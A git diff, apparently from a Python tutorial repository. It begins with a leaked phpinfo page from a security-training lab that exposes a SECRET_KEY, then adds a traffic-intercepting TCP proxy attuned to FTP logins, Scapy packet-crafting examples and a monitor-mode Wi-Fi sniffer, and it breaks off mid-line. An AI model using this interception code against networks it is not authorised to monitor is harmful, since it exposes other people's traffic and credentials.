+ + + + + +
DirectiveLocal ValueMaster Value
iconv.input_encodingno valueno value
iconv.internal_encodingno valueno value
iconv.output_encodingno valueno value
+

json

+ + +
json support enabled
+

libxml

+ + + + + +
libXML support active
libXML Compiled Version 2.9.10
libXML Loaded Version 20910
libXML streams enabled
+

openssl

+ + + + + +
OpenSSL support enabled
OpenSSL Library Version OpenSSL 1.1.1f 31 Mar 2020
OpenSSL Header Version OpenSSL 1.1.1f 31 Mar 2020
Openssl default config /usr/lib/ssl/openssl.cnf
+ + + + +
DirectiveLocal ValueMaster Value
openssl.cafileno valueno value
openssl.capathno valueno value
+

pcntl

+ + +
pcntl supportenabled
+

pcre

+ + + + + + +
PCRE (Perl Compatible Regular Expressions) Support enabled
PCRE Library Version 10.34 2019-11-21
PCRE Unicode Version 12.1.0
PCRE JIT Support enabled
PCRE JIT Target x86 64bit (little endian + unaligned)
+ + + + + +
DirectiveLocal ValueMaster Value
pcre.backtrack_limit10000001000000
pcre.jit11
pcre.recursion_limit100000100000
+

PDO

+ + + +
PDO supportenabled
PDO drivers no value
+

Phar

+ + + + + + + + + +
Phar: PHP Archive supportenabled
Phar API version 1.1.1
Phar-based phar archives enabled
Tar-based phar archives enabled
ZIP-based phar archives enabled
gzip compression enabled
bzip2 compression disabled (install ext/bz2)
Native OpenSSL support enabled
+ + +
+Phar based on pear/PHP_Archive, original concept by Davey Shafik.
Phar fully realized by Gregory Beaver and Marcus Boerger.
Portions of tar implementation Copyright (c) 2003-2009 Tim Kientzle.
+ + + + + +
DirectiveLocal ValueMaster Value
phar.cache_listno valueno value
phar.readonlyOnOn
phar.require_hashOnOn
+

posix

+ + +
POSIX support enabled
+

readline

+ + + +
Readline Supportenabled
Readline library EditLine wrapper
+ + + + +
DirectiveLocal ValueMaster Value
cli.pagerno valueno value
cli.prompt\b \> \b \> 
+

Reflection

+ + +
Reflection enabled
+

session

+ + + + +
Session Support enabled
Registered save handlers files user
Registered serializer handlers php_serialize php php_binary
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DirectiveLocal ValueMaster Value
session.auto_startOffOff
session.cache_expire180180
session.cache_limiternocachenocache
session.cookie_domainno valueno value
session.cookie_httponlyno valueno value
session.cookie_lifetime00
session.cookie_path//
session.cookie_samesiteno valueno value
session.cookie_secure00
session.gc_divisor10001000
session.gc_maxlifetime14401440
session.gc_probability00
session.lazy_writeOnOn
session.namePHPSESSIDPHPSESSID
session.referer_checkno valueno value
session.save_handlerfilesfiles
session.save_path/var/lib/php/sessions/var/lib/php/sessions
session.serialize_handlerphpphp
session.sid_bits_per_character55
session.sid_length2626
session.upload_progress.cleanupOnOn
session.upload_progress.enabledOnOn
session.upload_progress.freq1%1%
session.upload_progress.min_freq11
session.upload_progress.namePHP_SESSION_UPLOAD_PROGRESSPHP_SESSION_UPLOAD_PROGRESS
session.upload_progress.prefixupload_progress_upload_progress_
session.use_cookies11
session.use_only_cookies11
session.use_strict_mode00
session.use_trans_sid00
+

shmop

+ + +
shmop support enabled
+

SimpleXML

+ + + +
SimpleXML support enabled
Schema support enabled
+

sockets

+ + +
Sockets Support enabled
+

sodium

+ + + + +
sodium supportenabled
libsodium headers version 1.0.18
libsodium library version 1.0.18
+

SPL

+ + + + +
SPL supportenabled
Interfaces OuterIterator, RecursiveIterator, SeekableIterator, SplObserver, SplSubject
Classes AppendIterator, ArrayIterator, ArrayObject, BadFunctionCallException, BadMethodCallException, CachingIterator, CallbackFilterIterator, DirectoryIterator, DomainException, EmptyIterator, FilesystemIterator, FilterIterator, GlobIterator, InfiniteIterator, InvalidArgumentException, IteratorIterator, LengthException, LimitIterator, LogicException, MultipleIterator, NoRewindIterator, OutOfBoundsException, OutOfRangeException, OverflowException, ParentIterator, RangeException, RecursiveArrayIterator, RecursiveCachingIterator, RecursiveCallbackFilterIterator, RecursiveDirectoryIterator, RecursiveFilterIterator, RecursiveIteratorIterator, RecursiveRegexIterator, RecursiveTreeIterator, RegexIterator, RuntimeException, SplDoublyLinkedList, SplFileInfo, SplFileObject, SplFixedArray, SplHeap, SplMinHeap, SplMaxHeap, SplObjectStorage, SplPriorityQueue, SplQueue, SplStack, SplTempFileObject, UnderflowException, UnexpectedValueException
+

standard

+ + + +
Dynamic Library Support enabled
Path to sendmail /usr/sbin/sendmail -t -i
+ + + + + + + + + + + + + + + + + +
DirectiveLocal ValueMaster Value
assert.active11
assert.bail00
assert.callbackno valueno value
assert.exception00
assert.quiet_eval00
assert.warning11
auto_detect_line_endings00
default_socket_timeout6060
fromno valueno value
session.trans_sid_hostsno valueno value
session.trans_sid_tagsa=href,area=href,frame=src,form=a=href,area=href,frame=src,form=
unserialize_max_depth40964096
url_rewriter.hostsno valueno value
url_rewriter.tagsform=form=
user_agentno valueno value
+

sysvmsg

+ + +
sysvmsg support enabled
+

sysvsem

+ + +
sysvsem support enabled
+

sysvshm

+ + +
sysvshm support enabled
+

tokenizer

+ + +
Tokenizer Support enabled
+

xml

+ + + + +
XML Support active
XML Namespace Support active
libxml2 Version 2.9.10
+

xmlreader

+ + +
XMLReader enabled
+

xmlwriter

+ + +
XMLWriter enabled
+

xsl

+ + + + + + +
XSL enabled
libxslt Version 1.1.34
libxslt compiled against libxml Version 2.9.10
EXSLT enabled
libexslt Version 1.1.34
+

Zend OPcache

+ + + + + + + + + + + + + + + + + + + + +
Opcode Caching Up and Running
Optimization Enabled
SHM Cache Enabled
File Cache Disabled
Startup OK
Shared memory model mmap
Cache hits 0
Cache misses 1
Used memory 9168472
Free memory 125049256
Wasted memory 0
Interned Strings Used memory 224744
Interned Strings Free memory 6066264
Cached scripts 1
Cached keys 1
Max keys 16229
OOM restarts 0
Hash keys restarts 0
Manual restarts 0
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DirectiveLocal ValueMaster Value
opcache.blacklist_filenameno valueno value
opcache.consistency_checks00
opcache.dups_fixOffOff
opcache.enableOnOn
opcache.enable_cliOffOff
opcache.enable_file_overrideOffOff
opcache.error_logno valueno value
opcache.file_cacheno valueno value
opcache.file_cache_consistency_checks11
opcache.file_cache_only00
opcache.file_update_protection22
opcache.force_restart_timeout180180
opcache.huge_code_pagesOffOff
opcache.interned_strings_buffer88
opcache.lockfile_path/tmp/tmp
opcache.log_verbosity_level11
opcache.max_accelerated_files1000010000
opcache.max_file_size00
opcache.max_wasted_percentage55
opcache.memory_consumption128128
opcache.opt_debug_level00
opcache.optimization_level0x7FFEBFFF0x7FFEBFFF
opcache.preferred_memory_modelno valueno value
opcache.preloadno valueno value
opcache.preload_userno valueno value
opcache.protect_memory00
opcache.restrict_apino valueno value
opcache.revalidate_freq22
opcache.revalidate_pathOffOff
opcache.save_comments11
opcache.use_cwdOnOn
opcache.validate_permissionOffOff
opcache.validate_rootOffOff
opcache.validate_timestampsOnOn
+

zlib

+ + + + + + +
ZLib Supportenabled
Stream Wrapper compress.zlib://
Stream Filter zlib.inflate, zlib.deflate
Compiled Version 1.2.11
Linked Version 1.2.11
+ + + + + +
DirectiveLocal ValueMaster Value
zlib.output_compressionOffOff
zlib.output_compression_level-1-1
zlib.output_handlerno valueno value
+

Additional Modules

+ + +
Module Name
+

Environment

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
VariableValue
GATEWAY_INTERFACE CGI/1.1
SUDO_GID 10000
REMOTE_HOST 105.235.135.13
USER carlos
HTTP_ACCEPT_CHARSET *
SECRET_KEY qpv07o7eirlfsovg81p7ay7m9l8jaw8b
QUERY_STRING no value
HOME /home/carlos
HTTP_USER_AGENT Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
HTTP_ACCEPT */*
SCRIPT_FILENAME /home/carlos/cgi-bin/phpinfo.php
HTTP_HOST 0a8700550346ebd1804c946100f40010.web-security-academy.net
SUDO_UID 10000
LOGNAME carlos
SERVER_SOFTWARE PortSwiggerHttpServer/1.0
TERM unknown
PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
HTTP_ACCEPT_LANGUAGE en-US
HTTP_REFERER https://0a8700550346ebd1804c946100f40010.web-security-academy.net/cgi-bin/
SERVER_PROTOCOL HTTP/1.1
HTTP_ACCEPT_ENCODING identity
SUDO_COMMAND /usr/bin/sh -c /usr/bin/php-cgi
SHELL /bin/bash
REDIRECT_STATUS true
SUDO_USER academy
REQUEST_METHOD GET
PWD /home/carlos/cgi-bin
SERVER_PORT 443
SCRIPT_NAME /cgi-bin/phpinfo.php
SERVER_NAME 10.0.4.200
+

PHP Variables

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
VariableValue
$_SERVER['GATEWAY_INTERFACE']CGI/1.1
$_SERVER['SUDO_GID']10000
$_SERVER['REMOTE_HOST']105.235.135.13
$_SERVER['USER']carlos
$_SERVER['HTTP_ACCEPT_CHARSET']*
$_SERVER['SECRET_KEY']qpv07o7eirlfsovg81p7ay7m9l8jaw8b
$_SERVER['QUERY_STRING']no value
$_SERVER['HOME']/home/carlos
$_SERVER['HTTP_USER_AGENT']Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
$_SERVER['HTTP_ACCEPT']*/*
$_SERVER['SCRIPT_FILENAME']/home/carlos/cgi-bin/phpinfo.php
$_SERVER['HTTP_HOST']0a8700550346ebd1804c946100f40010.web-security-academy.net
$_SERVER['SUDO_UID']10000
$_SERVER['LOGNAME']carlos
$_SERVER['SERVER_SOFTWARE']PortSwiggerHttpServer/1.0
$_SERVER['TERM']unknown
$_SERVER['PATH']/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
$_SERVER['HTTP_ACCEPT_LANGUAGE']en-US
$_SERVER['HTTP_REFERER']https://0a8700550346ebd1804c946100f40010.web-security-academy.net/cgi-bin/
$_SERVER['SERVER_PROTOCOL']HTTP/1.1
$_SERVER['HTTP_ACCEPT_ENCODING']identity
$_SERVER['SUDO_COMMAND']/usr/bin/sh -c /usr/bin/php-cgi
$_SERVER['SHELL']/bin/bash
$_SERVER['REDIRECT_STATUS']true
$_SERVER['SUDO_USER']academy
$_SERVER['REQUEST_METHOD']GET
$_SERVER['PWD']/home/carlos/cgi-bin
$_SERVER['SERVER_PORT']443
$_SERVER['SCRIPT_NAME']/cgi-bin/phpinfo.php
$_SERVER['SERVER_NAME']10.0.4.200
$_SERVER['PHP_SELF']/cgi-bin/phpinfo.php
$_SERVER['REQUEST_TIME_FLOAT']1712744607.1831
$_SERVER['REQUEST_TIME']1712744607
+
+

PHP Credits

+ + + +
PHP Group
Thies C. Arntzen, Stig Bakken, Shane Caraveo, Andi Gutmans, Rasmus Lerdorf, Sam Ruby, Sascha Schumann, Zeev Suraski, Jim Winstead, Andrei Zmievski
+ + + +
Language Design & Concept
Andi Gutmans, Rasmus Lerdorf, Zeev Suraski, Marcus Boerger
+ + + + + + + + + + + + +
PHP Authors
ContributionAuthors
Zend Scripting Language Engine Andi Gutmans, Zeev Suraski, Stanislav Malyshev, Marcus Boerger, Dmitry Stogov, Xinchen Hui, Nikita Popov
Extension Module API Andi Gutmans, Zeev Suraski, Andrei Zmievski
UNIX Build and Modularization Stig Bakken, Sascha Schumann, Jani Taskinen, Peter Kokot
Windows Support Shane Caraveo, Zeev Suraski, Wez Furlong, Pierre-Alain Joye, Anatol Belski, Kalle Sommer Nielsen
Server API (SAPI) Abstraction Layer Andi Gutmans, Shane Caraveo, Zeev Suraski
Streams Abstraction Layer Wez Furlong, Sara Golemon
PHP Data Objects Layer Wez Furlong, Marcus Boerger, Sterling Hughes, George Schlossnagle, Ilia Alshanetsky
Output Handler Zeev Suraski, Thies C. Arntzen, Marcus Boerger, Michael Wallner
Consistent 64 bit support Anthony Ferrara, Anatol Belski
+ + + + + + + + + + +
SAPI Modules
ContributionAuthors
Apache 2.0 Handler Ian Holsman, Justin Erenkrantz (based on Apache 2.0 Filter code)
CGI / FastCGI Rasmus Lerdorf, Stig Bakken, Shane Caraveo, Dmitry Stogov
CLI Edin Kadribasic, Marcus Boerger, Johannes Schlueter, Moriyoshi Koizumi, Xinchen Hui
Embed Edin Kadribasic
FastCGI Process Manager Andrei Nigmatulin, dreamcat4, Antony Dovgal, Jerome Loyet
litespeed George Wang
phpdbg Felipe Pena, Joe Watkins, Bob Weinand
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Module Authors
ModuleAuthors
BC Math Andi Gutmans
Bzip2 Sterling Hughes
Calendar Shane Caraveo, Colin Viebrock, Hartmut Holzgraefe, Wez Furlong
COM and .Net Wez Furlong
ctype Hartmut Holzgraefe
cURL Sterling Hughes
Date/Time Support Derick Rethans
DB-LIB (MS SQL, Sybase) Wez Furlong, Frank M. Kromann, Adam Baratz
DBA Sascha Schumann, Marcus Boerger
DOM Christian Stocker, Rob Richards, Marcus Boerger
enchant Pierre-Alain Joye, Ilia Alshanetsky
EXIF Rasmus Lerdorf, Marcus Boerger
FFI Dmitry Stogov
fileinfo Ilia Alshanetsky, Pierre Alain Joye, Scott MacVicar, Derick Rethans, Anatol Belski
Firebird driver for PDO Ard Biesheuvel
FTP Stefan Esser, Andrew Skalski
GD imaging Rasmus Lerdorf, Stig Bakken, Jim Winstead, Jouni Ahto, Ilia Alshanetsky, Pierre-Alain Joye, Marcus Boerger
GetText Alex Plotnick
GNU GMP support Stanislav Malyshev
Iconv Rui Hirokawa, Stig Bakken, Moriyoshi Koizumi
IMAP Rex Logan, Mark Musone, Brian Wang, Kaj-Michael Lang, Antoni Pamies Olive, Rasmus Lerdorf, Andrew Skalski, Chuck Hagenbuch, Daniel R Kalowsky
Input Filter Rasmus Lerdorf, Derick Rethans, Pierre-Alain Joye, Ilia Alshanetsky
Internationalization Ed Batutis, Vladimir Iordanov, Dmitry Lakhtyuk, Stanislav Malyshev, Vadim Savchuk, Kirti Velankar
JSON Jakub Zelenka, Omar Kilani, Scott MacVicar
LDAP Amitay Isaacs, Eric Warnke, Rasmus Lerdorf, Gerrit Thomson, Stig Venaas
LIBXML Christian Stocker, Rob Richards, Marcus Boerger, Wez Furlong, Shane Caraveo
Multibyte String Functions Tsukada Takuya, Rui Hirokawa
MySQL driver for PDO George Schlossnagle, Wez Furlong, Ilia Alshanetsky, Johannes Schlueter
MySQLi Zak Greant, Georg Richter, Andrey Hristov, Ulf Wendel
MySQLnd Andrey Hristov, Ulf Wendel, Georg Richter, Johannes Schlüter
OCI8 Stig Bakken, Thies C. Arntzen, Andy Sautins, David Benson, Maxim Maletsky, Harald Radi, Antony Dovgal, Andi Gutmans, Wez Furlong, Christopher Jones, Oracle Corporation
ODBC driver for PDO Wez Furlong
ODBC Stig Bakken, Andreas Karajannis, Frank M. Kromann, Daniel R. Kalowsky
Opcache Andi Gutmans, Zeev Suraski, Stanislav Malyshev, Dmitry Stogov, Xinchen Hui
OpenSSL Stig Venaas, Wez Furlong, Sascha Kettler, Scott MacVicar
Oracle (OCI) driver for PDO Wez Furlong
pcntl Jason Greene, Arnaud Le Blanc
Perl Compatible Regexps Andrei Zmievski
PHP Archive Gregory Beaver, Marcus Boerger
PHP Data Objects Wez Furlong, Marcus Boerger, Sterling Hughes, George Schlossnagle, Ilia Alshanetsky
PHP hash Sara Golemon, Rasmus Lerdorf, Stefan Esser, Michael Wallner, Scott MacVicar
Posix Kristian Koehntopp
PostgreSQL driver for PDO Edin Kadribasic, Ilia Alshanetsky
PostgreSQL Jouni Ahto, Zeev Suraski, Yasuo Ohgaki, Chris Kings-Lynne
Pspell Vlad Krupin
Readline Thies C. Arntzen
Reflection Marcus Boerger, Timm Friebe, George Schlossnagle, Andrei Zmievski, Johannes Schlueter
Sessions Sascha Schumann, Andrei Zmievski
Shared Memory Operations Slava Poliakov, Ilia Alshanetsky
SimpleXML Sterling Hughes, Marcus Boerger, Rob Richards
SNMP Rasmus Lerdorf, Harrie Hazewinkel, Mike Jackson, Steven Lawrance, Johann Hanne, Boris Lytochkin
SOAP Brad Lafountain, Shane Caraveo, Dmitry Stogov
Sockets Chris Vandomelen, Sterling Hughes, Daniel Beulshausen, Jason Greene
Sodium Frank Denis
SPL Marcus Boerger, Etienne Kneuss
SQLite 3.x driver for PDO Wez Furlong
SQLite3 Scott MacVicar, Ilia Alshanetsky, Brad Dewar
System V Message based IPC Wez Furlong
System V Semaphores Tom May
System V Shared Memory Christian Cartus
tidy John Coggeshall, Ilia Alshanetsky
tokenizer Andrei Zmievski, Johannes Schlueter
XML Stig Bakken, Thies C. Arntzen, Sterling Hughes
XMLReader Rob Richards
xmlrpc Dan Libby
XMLWriter Rob Richards, Pierre-Alain Joye
XSL Christian Stocker, Rob Richards
Zip Pierre-Alain Joye, Remi Collet
Zlib Rasmus Lerdorf, Stefan Roehrich, Zeev Suraski, Jade Nicoletti, Michael Wallner
+ + + + + + +
PHP Documentation
Authors Mehdi Achour, Friedhelm Betz, Antony Dovgal, Nuno Lopes, Hannes Magnusson, Philip Olson, Georg Richter, Damien Seguy, Jakub Vrana, Adam Harvey
Editor Peter Cowburn
User Note Maintainers Daniel P. Brown, Thiago Henrique Pojda
Other Contributors Previously active authors, editors and other contributors are listed in the manual.
+ + + +
PHP Quality Assurance Team
Ilia Alshanetsky, Joerg Behrens, Antony Dovgal, Stefan Esser, Moriyoshi Koizumi, Magnus Maatta, Sebastian Nohn, Derick Rethans, Melvyn Sopacua, Pierre-Alain Joye, Dmitry Stogov, Felipe Pena, David Soria Parra, Stanislav Malyshev, Julien Pauli, Stephen Zarkos, Anatol Belski, Remi Collet, Ferenc Kovacs
+ + + + + + +
Websites and Infrastructure team
PHP Websites Team Rasmus Lerdorf, Hannes Magnusson, Philip Olson, Lukas Kahwe Smith, Pierre-Alain Joye, Kalle Sommer Nielsen, Peter Cowburn, Adam Harvey, Ferenc Kovacs, Levi Morrison
Event Maintainers Damien Seguy, Daniel P. Brown
Network Infrastructure Daniel P. Brown
Windows Infrastructure Alex Schoenmaker
+

PHP License

+ + +
+

+This program is free software; you can redistribute it and/or modify it under the terms of the PHP License as published by the PHP Group and included in the distribution in the file: LICENSE +

+

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. +

+

If you did not receive a copy of the PHP license, or have any questions about PHP licensing, please contact license@php.net. +

+
+
\ No newline at end of file diff --git a/python-standard-library/grep-clone/requirements.txt b/python-standard-library/grep-clone/requirements.txt new file mode 100644 index 00000000..3d90aaa5 --- /dev/null +++ b/python-standard-library/grep-clone/requirements.txt @@ -0,0 +1 @@ +colorama \ No newline at end of file diff --git a/python-standard-library/tcp-proxy/README.md b/python-standard-library/tcp-proxy/README.md new file mode 100644 index 00000000..f3dd655d --- /dev/null +++ b/python-standard-library/tcp-proxy/README.md @@ -0,0 +1 @@ +# [How to Build a TCP Proxy with Python](https://thepythoncode.com/article/building-a-tcp-proxy-with-python) \ No newline at end of file diff --git a/python-standard-library/tcp-proxy/tcp_proxy.py b/python-standard-library/tcp-proxy/tcp_proxy.py new file mode 100644 index 00000000..d27434ef --- /dev/null +++ b/python-standard-library/tcp-proxy/tcp_proxy.py @@ -0,0 +1,147 @@ +import sys +import socket +import threading +import time +from typing import Optional, Tuple, Dict + +class TcpProxy: + def __init__(self): + self._local_addr: str = "" + self._local_port: int = 0 + self._remote_addr: str = "" + self._remote_port: int = 0 + self._preload: bool = False + self._backlog: int = 5 + self._chunk_size: int = 16 + self._timeout: int = 5 + self._buffer_size: int = 4096 + self._termination_flags: Dict[bytes, bool] = { + b'220 ': True, + b'331 ': True, + b'230 ': True, + b'530 ': True + } + + def _process_data(self, stream: bytes) -> None: + #Transform data stream for analysis + for offset in range(0, len(stream), self._chunk_size): + block = stream[offset:offset + self._chunk_size] + + # Format block representation + bytes_view = ' '.join(f'{byte:02X}' for byte in block) + text_view = ''.join(chr(byte) if 32 <= byte <= 126 else '.' for byte in block) + + # Display formatted line + print(f"{offset:04X} {bytes_view:<{self._chunk_size * 3}} {text_view}") + + def _extract_stream(self, conn: socket.socket) -> bytes: + #Extract data stream from connection + accumulator = b'' + conn.settimeout(self._timeout) + + try: + while True: + fragment = conn.recv(self._buffer_size) + if not fragment: + break + + accumulator += fragment + + # Check for protocol markers + if accumulator.endswith(b'\r\n'): + for flag in self._termination_flags: + if flag in accumulator: + return accumulator + + except socket.timeout: + pass + + return accumulator + + def _monitor_stream(self, direction: str, stream: bytes) -> bytes: + # Monitor and decode stream content + try: + content = stream.decode('utf-8').strip() + marker = ">>>" if direction == "in" else "<<<" + print(f"{marker} {content}") + except UnicodeDecodeError: + print(f"{direction}: [binary content]") + + return stream + + def _bridge_connections(self, entry_point: socket.socket) -> None: + #Establish and maintain connection bridge + # Initialize exit point + exit_point = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + try: + exit_point.connect((self._remote_addr, self._remote_port)) + # Handle initial remote response + if self._preload: + remote_data = self._extract_stream(exit_point) + if remote_data: + self._process_data(remote_data) + processed = self._monitor_stream("out", remote_data) + entry_point.send(processed) + # Main interaction loop + while True: + # Process incoming traffic + entry_data = self._extract_stream(entry_point) + if entry_data: + print(f"\n[>] Captured {len(entry_data)} bytes incoming") + self._process_data(entry_data) + processed = self._monitor_stream("in", entry_data) + exit_point.send(processed) + # Process outgoing traffic + exit_data = self._extract_stream(exit_point) + if exit_data: + print(f"\n[<] Captured {len(exit_data)} bytes outgoing") + self._process_data(exit_data) + processed = self._monitor_stream("out", exit_data) + entry_point.send(processed) + # Prevent CPU saturation + if not (entry_data or exit_data): + time.sleep(0.1) + except Exception as e: + print(f"[!] Bridge error: {str(e)}") + finally: + print("[*] Closing bridge") + entry_point.close() + exit_point.close() + + def orchestrate(self) -> None: + # Orchestrate the proxy operation + # Validate input + if len(sys.argv[1:]) != 5: + print("Usage: script.py [local_addr] [local_port] [remote_addr] [remote_port] [preload]") + print("Example: script.py 127.0.0.1 8080 target.com 80 True") + sys.exit(1) + # Configure proxy parameters + self._local_addr = sys.argv[1] + self._local_port = int(sys.argv[2]) + self._remote_addr = sys.argv[3] + self._remote_port = int(sys.argv[4]) + self._preload = "true" in sys.argv[5].lower() + # Initialize listener + listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + try: + listener.bind((self._local_addr, self._local_port)) + except socket.error as e: + print(f"[!] Binding failed: {e}") + sys.exit(1) + listener.listen(self._backlog) + print(f"[*] Service active on {self._local_addr}:{self._local_port}") + # Main service loop + while True: + client, address = listener.accept() + print(f"[+] Connection from {address[0]}:{address[1]}") + bridge = threading.Thread( + target=self._bridge_connections, + args=(client,) + ) + bridge.daemon = True + bridge.start() + +if __name__ == "__main__": + bridge = TcpProxy() + bridge.orchestrate() \ No newline at end of file diff --git a/scapy/crafting-packets/README.md b/scapy/crafting-packets/README.md new file mode 100644 index 00000000..c57f5974 --- /dev/null +++ b/scapy/crafting-packets/README.md @@ -0,0 +1 @@ +# [Crafting Dummy Packets with Scapy Using Python](https://thepythoncode.com/article/crafting-packets-with-scapy-in-python) \ No newline at end of file diff --git a/scapy/crafting-packets/network_latency_measure.py b/scapy/crafting-packets/network_latency_measure.py new file mode 100644 index 00000000..e5b1b43c --- /dev/null +++ b/scapy/crafting-packets/network_latency_measure.py @@ -0,0 +1,21 @@ +server_ips = ["192.168.27.1", "192.168.17.129", "192.168.17.128"] + +from scapy.all import IP, ICMP, sr1 +import time + +def check_latency(ip): + packet = IP(dst=ip) / ICMP() + start_time = time.time() + response = sr1(packet, timeout=2, verbose=0) + end_time = time.time() + + if response: + latency = (end_time - start_time) * 1000 # Convert to milliseconds + print(f"[+] Latency to {ip}: {latency:.2f} ms") + else: + print(f"[-] No response from {ip} (possible packet loss)") + +for server_ip in server_ips: + check_latency(server_ip) + + diff --git a/scapy/crafting-packets/packet_craft.py b/scapy/crafting-packets/packet_craft.py new file mode 100644 index 00000000..7d0f3399 --- /dev/null +++ b/scapy/crafting-packets/packet_craft.py @@ -0,0 +1,34 @@ +# Uncomment them and run according to the tutorial +#from scapy.all import IP, TCP, send, UDP + +# # Step 1: Creating a simple IP packet +# packet = IP(dst="192.168.1.1") # Setting the destination IP +# packet = IP(dst="192.168.1.1") / TCP(dport=80, sport=12345, flags="S") +# print(packet.show()) # Display packet details +# send(packet) + + +############ +# from scapy.all import ICMP + +# # Creating an ICMP Echo request packet +# icmp_packet = IP(dst="192.168.1.1") / ICMP() +# send(icmp_packet) + + +############ +# from scapy.all import UDP + +# # Creating a UDP packet +# udp_packet = IP(dst="192.168.1.1") / UDP(dport=53, sport=12345) +# send(udp_packet) + + + +########### +# blocked_packet = IP(dst="192.168.1.1") / TCP(dport=80, flags="S") +# send(blocked_packet) + +# allowed_packet = IP(dst="192.168.1.1") / UDP(dport=53) +# send(allowed_packet) + diff --git a/scapy/crafting-packets/requirements.txt b/scapy/crafting-packets/requirements.txt new file mode 100644 index 00000000..93b351f4 --- /dev/null +++ b/scapy/crafting-packets/requirements.txt @@ -0,0 +1 @@ +scapy \ No newline at end of file diff --git a/scapy/uncover-hidden-wifis/README.md b/scapy/uncover-hidden-wifis/README.md new file mode 100644 index 00000000..dcd094d6 --- /dev/null +++ b/scapy/uncover-hidden-wifis/README.md @@ -0,0 +1 @@ +# [How to See Hidden Wi-Fi Networks in Python](https://thepythoncode.com/article/uncovering-hidden-ssids-with-scapy-in-python) \ No newline at end of file diff --git a/scapy/uncover-hidden-wifis/requirements.txt b/scapy/uncover-hidden-wifis/requirements.txt new file mode 100644 index 00000000..9661693f --- /dev/null +++ b/scapy/uncover-hidden-wifis/requirements.txt @@ -0,0 +1,2 @@ +scapy +colorama \ No newline at end of file diff --git a/scapy/uncover-hidden-wifis/view_hidden_ssids.py b/scapy/uncover-hidden-wifis/view_hidden_ssids.py new file mode 100644 index 00000000..cd05db05 --- /dev/null +++ b/scapy/uncover-hidden-wifis/view_hidden_ssids.py @@ -0,0 +1,58 @@ +# Operating system functions. +import os +# Import all functions from scapy library. +from scapy.all import * +# Import Fore from colorama for colored console output, and init for colorama initialization. +from colorama import Fore, init +# Initialize colorama +init() + +# Set to store unique SSIDs. +seen_ssids = set() + + +# Function to set the wireless adapter to monitor mode. +def set_monitor_mode(interface): + # Bring the interface down. + os.system(f'ifconfig {interface} down') + # Set the mode to monitor. + os.system(f'iwconfig {interface} mode monitor') + # Bring the interface back up. + os.system(f'ifconfig {interface} up') + + +# Function to process Wi-Fi packets. +def process_wifi_packet(packet): + # Check if the packet is a Probe Request, Probe Response, or Association Request. + if packet.haslayer(Dot11ProbeReq) or packet.haslayer(Dot11ProbeResp) or packet.haslayer(Dot11AssoReq): + # Extract SSID and BSSID from the packet. + ssid = packet.info.decode('utf-8', errors='ignore') + bssid = packet.addr3 + + # Check if the SSID is not empty and not in the set of seen SSIDs, and if the BSSID is not the broadcast/multicast address. + if ssid and ssid not in seen_ssids and bssid.lower() != 'ff:ff:ff:ff:ff:ff': + # Add the SSID to the set. + seen_ssids.add(ssid) + # Print the identified SSID and BSSID in green. + print(f"{Fore.GREEN}[+] SSID: {ssid} ----> BSSID: {bssid}") + + +# Main function. +def main(): + # Define the wireless interface. + wireless_interface = 'wlan0' + + # Set the wireless adapter to monitor mode. + set_monitor_mode(wireless_interface) + + # Print a message indicating that sniffing is starting on the specified interface in magenta. + print(f"{Fore.MAGENTA}[+] Sniffing on interface: {wireless_interface}") + + # Start sniffing Wi-Fi packets on the specified interface, calling process_wifi_packet for each packet, and disabling packet storage + sniff(iface=wireless_interface, prn=process_wifi_packet, store=0) + + +# Check if the script is being run as the main program. +if __name__ == "__main__": + # Call the main function. + main() diff --git a/web-scraping/youtube-extractor/extract_video_info.py b/web-scraping/youtube-extractor/extract_video_info.py index 042ce4f8..bed184b0 100644 --- a/web-scraping/youtube-extractor/extract_video_info.py +++ b/web-scraping/youtube-extractor/extract_video_info.py @@ -1,92 +1,150 @@ -from requests_html import HTMLSession -from bs4 import BeautifulSoup as bs +import requests +from bs4 import BeautifulSoup import re import json - -# init session -session = HTMLSession() - +import argparse def get_video_info(url): - # download HTML code - response = session.get(url) - # execute Javascript - response.html.render(timeout=60) - # create beautiful soup object to parse HTML - soup = bs(response.html.html, "html.parser") - # open("index.html", "w").write(response.html.html) - # initialize the result - result = {} - # video title - result["title"] = soup.find("meta", itemprop="name")['content'] - # video views - result["views"] = soup.find("meta", itemprop="interactionCount")['content'] - # video description - result["description"] = soup.find("meta", itemprop="description")['content'] - # date published - result["date_published"] = soup.find("meta", itemprop="datePublished")['content'] - # get the duration of the video - result["duration"] = soup.find("span", {"class": "ytp-time-duration"}).text - # get the video tags - result["tags"] = ', '.join([ meta.attrs.get("content") for meta in soup.find_all("meta", {"property": "og:video:tag"}) ]) - - # Additional video and channel information (with help from: https://stackoverflow.com/a/68262735) - data = re.search(r"var ytInitialData = ({.*?});", soup.prettify()).group(1) - data_json = json.loads(data) - videoPrimaryInfoRenderer = data_json['contents']['twoColumnWatchNextResults']['results']['results']['contents'][0]['videoPrimaryInfoRenderer'] - videoSecondaryInfoRenderer = data_json['contents']['twoColumnWatchNextResults']['results']['results']['contents'][1]['videoSecondaryInfoRenderer'] - # number of likes - likes_label = videoPrimaryInfoRenderer['videoActions']['menuRenderer']['topLevelButtons'][0]['toggleButtonRenderer']['defaultText']['accessibility']['accessibilityData']['label'] # "No likes" or "###,### likes" - likes_str = likes_label.split(' ')[0].replace(',','') - result["likes"] = '0' if likes_str == 'No' else likes_str - # number of likes (old way) doesn't always work - # text_yt_formatted_strings = soup.find_all("yt-formatted-string", {"id": "text", "class": 